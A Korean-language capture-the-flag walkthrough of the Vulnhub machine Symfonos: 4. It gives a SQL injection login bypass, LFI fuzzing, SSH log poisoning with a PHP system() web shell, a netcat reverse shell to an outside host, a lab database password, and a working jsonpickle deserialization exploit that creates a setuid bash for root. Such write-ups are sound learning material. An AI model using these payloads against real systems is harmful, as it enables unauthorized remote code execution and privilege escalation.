Vulnhub

[Vulnhub] Symfonos: 4 Walkthrough

jeff_kim 2024. 7. 7. 13:54

https://www.vulnhub.com/entry/symfonos-4,347/

 

symfonos: 4

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/targetSubScan
Nmap scan report for 192.168.45.100
Host is up (0.00051s latency).
MAC Address: 08:00:27:A0:21:BA (Oracle VirtualBox virtual NIC)

 

WEB

gobuster 툴을 이용한 디렉터리 브루트포싱 진행

흥미로운 /gods 디렉터리 경로 획득

실제 하데스에 관한 얘기가 적혀있네요 나머지도 마찬가지 입니다.

robots.txt는 Forbidden Error 가 발생했네요

php, html, txt 확장자를 넣어서 발견한 엔드포인트, sea.php로 접속시에는  atlantis.php 로 리다이렉션 되는 것을 확인할 수 있습니다

로그인 정보가 하나도 없으니 SQL Injection이 가능한지 체크해보겠습니다.

 

Vulnerability

username : admin'or'1'='1
password: 123

로그인에 성공했습니다. 로그인에 성공하니 sea.php로 접속이 되는 군요

이렇게 신을 선택하면 file 파라미터와 함께 파일이 뜨는데 Path Traversal을 이용해서 /etc/passwd을 읽을 수 있는지 확인하고 LFI가 가능한지 확인해봅니다

 

딱히 동작하지 않는데요

wfuzz툴 를 사용하여 다시 진행해보겠습니다. 그 전에 wfuzz wordlist 를 찾아야하는데 

https://raw.githubusercontent.com/whiteknight7/wordlist/main/jhaddix-lfi.txt 이 파일을 wget을 이용해서 다운 받아서 사용했습니다

 

word가 39W가 뜨는데 필터링 해서 다시 진행합니다.

wfuzz -c -b 'PHPSESSID=bcuj3523vnkbni26hfjflv2la1' -w /home/kali/vulnhub/symfonos4/jhaddix-lfi.txt --hc 404 --hw 39 http://192.168.45.100/sea.php?file=../../../../../FUZZ

/var/log/auth

하나 경로가 뜨네요,, log 인것을 보니 대상호스트에 열려있는 ssh 로그에 관련된 것이지 않을까 싶습니다

아무 계정으로 로그인해서 로그가 찍히는지 확인해보겠습니다

└─$ ssh logintest@192.168.45.100

잘 찍히네요

 

우선 웹사이트는 php로 구성되어있습니다, 그리고 LFI 가 가능합니다.

1. 사용자 이름을 system() 함수를 사용하여 RCE 할 수 있는 코드로 로그인을 시도한다.

2. 로그파일에 php 코드가 남아있다면, 새로운 파라미터를 추가해 리버스쉘을 획득 할 수 있을 것이다

 

Exploitation

https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/

이제부터 할 익스플로잇은 LFI를 이용한 SSH 포이즈닝을 통한 RCE 입니다. 위 사이트를 참고하시면 좋을 듯합니다

 

ssh 버전이 패치되면서 코드같은 문자열을 사용하면 안되는거 같아서 base64로 진행해봤는데, 뭔가 딱히 RCE가 정상적으로 실행되지 않아서, metasploit 툴을 이용하여 진행하겠습니다

 

└─$ msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   CreateSession     true             no        Create a new session for every successful login
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php system($_GET["c"]); ?>
username => <?php system($_GET[c]); ?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 1234
password => 1234
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.45.100
rhosts => 192.168.45.100
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

로그에 정상적으로 잘 찍힙니다. 이제 리버스쉘을 획득하러 가야합니다

└─$ nc -nlvp 9999          
listening on [any] 9999 ...


# Reverse Shell Code
nc 192.168.45.219 9999 -e /bin/sh

# DB Credentials

root:yVzyRGw3cG2Uyt2r

 

 

그리고 포세이돈 유저가 있습니다. 혹시나 하는 마음에 위에서 얻은 비밀번호로 로그인해봅니다

이게... 되네요??

 

Privilege Escalation

포세이돈을 보면 많은 그룹에 속해 있는것으로 보아, 권한이 좀 많은 것을 예상할 수 있습니다

음 8080 이 있네요? ssh 터널링해보겠습니다

쿠키를 확인해보니 base64로 인코딩되어있는 코드를 발견,

 

그리고 파이썬으로 웹서버를 실행하고 있는 gunicorn 이 있습니다.

/opt/code 로 들어가봅시다

poseidon@symfonos4:/opt/code$ cat app.py                                                                                                                     
from flask import Flask, request, render_template, current_app, redirect                                                                                     
                                                                                                                                                             
import jsonpickle             
import base64

app = Flask(__name__)

class User(object):

    def __init__(self, username):
        self.username = username


@app.route('/')
def index():
    if request.cookies.get("username"): 
        u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
        return render_template("index.html", username=u.username)
    else:
        w = redirect("/whoami")
        response = current_app.make_response(w)
        u = User("Poseidon")
        encoded = base64.b64encode(jsonpickle.encode(u))
        response.set_cookie("username", value=encoded)
        return response


@app.route('/whoami')
def whoami():
    user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
    username = user.username
    return render_template("whoami.html", username=username)

if __name__ == '__main__':
    app.run()

플라스크로 이루어진 웹 사이트 입니다.

 

jsonpickle을 사용하면 직렬처리되서 어플리케이션으로 전달되는데 악성코드를 주입하면 이 코드가 그대로 다시 전달되서 관리자 권한의 쉘을 획득할 수 있다고 합니다

 

그래서 bash 쉘 바이너리를 /tmp 디렉터리로 복사해온 다음, suid sticky bit 설정을 해주는 코드를 만들어 base64로 인코딩한 출력된 쿠키 값을 웹사이트에 넣어 변조를 한 다음, 변조된 bash 쉘의 바이너리가 /tmp 디렉터리에 만들어지면 그것을 악용하여 관리자 쉘을 얻어 낼 것입니다. 아래의 코드가 그것입니다.

#/usr/bin/python
import jsonpickle, os, base64

class E(object):
    def __reduce__(self):
        return(os.system,("cp /bin/bash /tmp/priv; chmod +s /tmp/priv",))

print(base64.b64encode(jsonpickle.encode(E())))



poseidon@symfonos4:/tmp$ python exploit.py 
eyJweS9yZWR1Y2UiOiBbeyJweS9mdW5jdGlvbiI6ICJwb3NpeC5zeXN0ZW0ifSwgeyJweS90dXBsZSI6IFsiY3AgL2Jpbi9iYXNoIC90bXAvcHJpdjsgY2htb2QgK3MgL3RtcC9wcml2Il19XX0=

즉 cp /bin/bash /tmp/priv; chmod +s /tmp/priv 이러한 명령을 실행하는 것을 base64로 인코딩해, jsonpickle의 vulnability를 이용하여 관리자 쉘을 획득하는 것이죠

변조된 쿠키값을 삽입하면 내부적인 서버 에러가 발생하는데, 괜찮습니다. 정상적인 결과이고 /tmp 디렉터리를 보면 suid sticky bit가 설정된 priv 이름의 /bin/bash가 있겠죠?? 

권한 상승 완료

 

priv-5.0# cat proof.txt 

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 3.1 Walkthrough  (0) 2024.07.05
[Vulnhub] Symfonos: 2 Walkthrough  (0) 2024.07.04
[Vulnhub] Symfonos Walkthrough  (0) 2024.07.03